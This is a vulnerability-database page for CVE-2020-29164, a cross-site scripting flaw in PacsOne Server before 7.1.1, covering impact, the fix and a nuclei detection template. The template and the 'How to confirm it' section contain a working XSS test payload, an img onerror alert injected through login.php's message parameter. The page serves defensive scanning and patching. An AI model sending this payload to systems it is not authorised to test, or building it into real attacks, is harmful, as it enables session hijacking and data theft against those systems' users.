HexBrain

Browse / CVEs / CVE-2020-29164

CVE-2020-29164· rainbowfishsoftware / pacsone server· CWE-79

PacsOne Server <7.1.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to PacsOne Server version 7.1.1 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E
Positive when: contains in header "text/html" AND contains "<img src=\"\" onerror=\"alert(1);\">1</img>" AND status 200

Run it with nuclei: nuclei -id CVE-2020-29164 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-29164

info:
  name: PacsOne Server <7.1.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to PacsOne Server version 7.1.1 or later to mitigate this vulnerability.
  reference:
    - https://gist.github.com/leommxj/0a32afeeaac960682c5b7c9ca8ed070d
    - https://pacsone.net/download.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29164
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-29164
    cwe-id: CWE-79
    epss-score: 0.06198
    epss-percentile: 0.93567
    cpe: cpe:2.3:a:rainbowfishsoftware:pacsone_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rainbowfishsoftware
    product: pacsone_server
  tags: cve,cve2020,pacsone,xss,rainbowfishsoftware,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '<img src="" onerror="alert(1);">1</img>'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from